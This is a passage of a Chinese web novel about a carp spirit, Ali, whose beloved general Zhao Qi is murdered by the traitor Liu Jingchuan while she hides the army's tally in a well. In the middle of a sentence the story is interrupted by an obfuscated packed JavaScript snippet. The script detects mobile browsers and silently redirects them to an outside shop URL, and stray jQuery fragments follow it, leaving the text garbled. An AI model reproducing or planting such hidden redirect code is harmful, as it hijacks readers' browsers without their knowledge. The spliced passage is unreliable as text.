画面再次变换,一个扎着马尾的少年掀开帐门,坐到桌前,拿手逗弄着水盆里的锦鲤自言自语:“阿梨,今天好点了吗,这已经是你第三次割血救我了,不让你这样非不听。”
盆中的鲤鱼啄了他手一下表示生气,赵启拿手轻推了推小鲤鱼的头,继续说道:“现在好了吧,你连人形都维持不了。下次再这样,我就将你随便放一条水里去,让你再也见不到我。”
水中的锦鲤吸了口水,奋力朝他吐去,他伸手去挡,没挡住,溅到了袖口上,把少年逗的一笑。
她则在盆里欢快地游着,赵启又将她拢在手里玩儿了一会,便来了个高大的男子喊他商讨军事,他轻抚了一下鱼身说待会回来陪她继续玩儿,就转身离去。
时间又转到冬天,阿梨在雪地里不知道堆着什么,听到身后有脚步声走来,惊喜的转头,就知道是他来了:“赵启,快来看我堆的小黑。”
赵启蹲下看着地上的三团东西,实在是看不出哪里像军营的小黑,阿梨可不管他是怎么想的,兴冲冲的给他指去,这里是头,中间身子,那里是尾巴。
赵启将怀里的手套给她戴好,又捂了捂她的脸,感觉不是那么冰凉,才放开手。
几个小兵嬉闹的路过,问阿梨地上团着三坨什么东西,气的她团了几个雪球砸了过去,说那不是东西,是小狗。
转头看着赵启居然在忍着笑,质问:“不会你也没看出来吧!”将雪往他脸上一糊,气得跑开,害得他一路上追着哄。
冬雪渐渐消散,营地迎来第三个春天,赵启飞快跑进阿梨的帐子,告诉她大军马上得胜,再也不用打仗了,他们可以一起回奉都的家了。
阿梨也替他高兴,终于再也不用见他满身是伤从战场回来了。
赵家军得胜归朝,迎着奉都百姓的欢呼声浩浩荡荡走进城门,赵字旗帜随着风在空中肆意地飘着。
等一切尘埃落定,赵启回家见阿梨已经睡着了,替她掖了掖被子,退了出去将门轻闭。
门再次被推开,赵启的身形已经比之前高了一些,眉眼也带了些狠戾。
“阿梨,这次你就呆在家里,不要跟着我。”
阿梨不可置信地看着他问为什么,赵启什么都没说,将一个簪子递给她。阿梨一把推开,木簪掉落。赵启也没办法,深知这是为他设下的局,不得不上场,便将木簪捡起放在桌上离去。
阿梨感觉自己有点过分,拿起木簪坐在椅子上端详,梨花木上面刻了几朵小梨花,上面还有一丝血迹干枯的痕迹。
握在手里眼泪止不住的流,没一会感觉头晕目眩,往桌上倒去。
赵启在门外没走,听到声响,推门进去,把阿梨抱到床上,嘴上说着对不起,将簪子插入她发间,不舍地看了一眼然后离去。
阿梨醒来看着空荡的府邸,感觉不对准备往出寻人,小厮挡在门口,她用妖术将小厮迷晕,跑到城门前,发现大军早已经离去,只能看到远处飘荡的旗帜,失神跌坐在地上。
阿梨也不知道自己是如何走回去的,饭也没心思吃,不安的躺在床上,下意识将枕头抱在怀里。没想到露出原本压着的信,欣喜的展开却看到了让她痛心的字,赵启居然赶她走。
日子过得飞快,阿梨也没听他的话,一直住在将军府,每天都坐在门口望着远处。
平常的一天,她再次蹲坐在门前,路过的孩童喊着赵家军又打胜啦,我以后也要身披铠甲上战场去。
这话让阿梨燃起希望,跌跌撞撞的往城门走去,这次她成了人群中的一员,看着马背上威风凛凛的赵启,欲语泪先流,还好人平安归来。
回到家中,就一直在门口望着巷口,赵勇率先归来,看着门口蹲着的阿梨,眼里亮着的光看到他又暗淡下来,还是起身向他问安,简单寒暄了几句,赵勇开口说赵启很晚才会回来,她点点头,继续蹲着等。
阿梨等到夕阳染红了脸庞,才见到赵启匆匆赶回来,欣喜的立刻冲进他怀里,没想到被他冷漠推开,说在外拉拉扯扯成何体统,阿梨顿时红了眼眶。
刚想问他之前留的那信是什么意思,只见他直接往府里进,根本不留说话的时间,赶紧就跟着他往府里走去。
两人一路无言,跟着跟着就到了书房,赵启快步往里面走去,然后用力一关,将阿梨隔在门后。
阿梨朝着书房质问他,没等到回应,只剩周遭风吹过的声音。阿梨知道现下也问不出个什么事,气冲冲的离去。
赵启看着她离去的背影,发现她又瘦了好多,一路上根本不敢开口,他知道自己会心软,可现在不是时候。既欣喜她没离去又忧心,疲惫的想接下来该怎么办。
接下来这几天,赵启经常早出晚归,好不容易见上一面也刻意和她保持距离,开口就是让她走,阿梨不愿听他讲话,索性每次送完东西就走。
车轮被石子垫了一下,阿梨被木簪子硌的疼醒,迷迷糊糊睁眼看到的就是马车顶,急忙掀起看向窗外,四周都是树木,已经见不到奉都城,感觉自己腰侧沉甸甸的,打开全是金子。
阿梨没想到自己再次被迷晕,直接被送出城了,阿梨内心深感不安,赵启绝对在计划着什么,不管驾车的车夫怎么劝,急忙跳车下去往回赶,等到晚上才回到赵府。
费力地翻墙进入,来不及拍去身上的土,就准备去书房,问赵启将要发生什么事,为什么要迷晕她。
刚走过一条小路,就听到乱糟糟的声音,尖叫声、刀剑相向的声音充斥着整个府邸。
阿梨感觉不对,小心翼翼地走,就快要去了前厅,感觉里面有人在,躲在墙后的一盆花植,从叶片缝隙往里面看去。
见赵勇被人拉在院中央跪着,腰杆绷直屈辱的瞪着对面,为首的人她见过,是赵勇的副将刘京川。
不知道两人谈着什么,声音太低有些听不清楚,突然赵勇死死盯着刘京川,“逆贼!我赵家满门忠烈,坚决不从贼子!要杀要剐,悉听尊便!”
刘京川坐在椅子上嗤笑,懒得和他废话,抬抬手,身边人手起刀落,赵勇的头颅就这样滚落在地,眼睛仍是怒目圆睁。
一瞬间,阿梨根本做不出任何反应,直勾勾的看着,吓出一身冷汗,死死的捂着自己的嘴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788406|210264||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,生怕发出声音引起响动,内心越发想找到赵启。
背后传来脚步声,阿梨心中大惊,准备施法将人迷晕,转身却发现那人是赵启,赵启让她别出声,拉着她赶紧走。
刘京川身边的士兵听到墙外好似有人,准备去追,刘京川让他别动,自己亲自去解决,手拿起弓淡定的朝他们追去。
赵启在宅子里穿梭,边跑边交代,军中出了叛徒,就是刘京川,现在还没有证据能证明,以后见到他躲着点。还让她一会赶紧变回原身,什么事情都不要管,只要保管好兵符,一切都有余地。
她感觉身后有人追来,凭借对宅内布局的熟悉,将人稍稍甩开一段距离。
赵启终于看到比武场上的那口井,心顿时松了下来,赶紧让她变回原形跳进水里,阿梨一刻也不敢迟疑,生怕自己拖累了赵启。
刚跳进水中,抬头看向井边的人,就见赵启胳膊上中了一箭,鲜血顺着箭矢头掉落在井里,落在她头顶,血迹在水中晕开。
阿梨心头一紧,赵启比划让她不要管,将手里攥着的兵符扔下去,阿梨知道东西很重要,一口将其吞进肚子。
阿梨不知所措地看着井边的人,心中焦急自己为何没有好好学妖术,一点也帮不了他,只能眼睁睁看着赵将军逝去。
他心想这人用弓,肯定不会立刻上前,便对着井底笑了笑,做着口型告诉阿梨:“院中梨树。”
将胳膊上的箭矢掰断,拿起剑朝刘京川走去。
两人厮打在一块,刘京川久经沙场总归技高一筹,赵启渐渐落入下风。刘京川也不着急,不伤及要害,像是在他衣服上绣花。
鲜血渗出,阿梨在井中都嗅到了淡淡的血腥,打斗声还未停,赵启还在强撑,妄图找出刘京川的破绽。
忽然刘京川好似没了耐心,感叹他还是这样轻敌,轻轻将剑一送,贯穿胸口,赵启就这样软绵绵的倒在地上,望着面前的水井,笑了笑,还好她没事。
阿梨在水里不安的游动,上面的声音停止,脚步声离去。接着听到又另一波脚步袭来,板车车轮滚动的声音混杂着交谈,勉强听到他们说现在城门已关,先堆放在后面武场,明儿一早拉出去烧掉。
阿梨听完这段话就知道,赵启败了,强忍悲痛,她还有更重要的事没做完。
听到上面声音逐渐归于平静,阿梨仍呆在井里不敢动,直到半夜整个府邸陷入寂静,才悄悄出来。
水井旁的血迹已经清理干净,阿梨先将兵符放在身上藏好,回屋子换了身隐蔽好行动的衣服,感觉好像缺了些什么,找到把小刀用来防身。
还好今日月儿有些亮光,阿梨轻车熟路的找到武场。
阿梨环顾四周,武场四周各有一个守卫守着,好在都在打盹。篝火燃起噼里啪啦响声,正好掩盖住她的脚步,顺利从树林中摸到一个人身后,用法术迷晕,生怕发出动静,慢悠悠费力将他拉到树林里去。
随即用同样的方法成功迷晕了两个,现下就剩西南角的那个了。难就难在他四周没有树丛遮掩,离的尸体最近,只能折返回去,先扒下守卫的衣服穿上。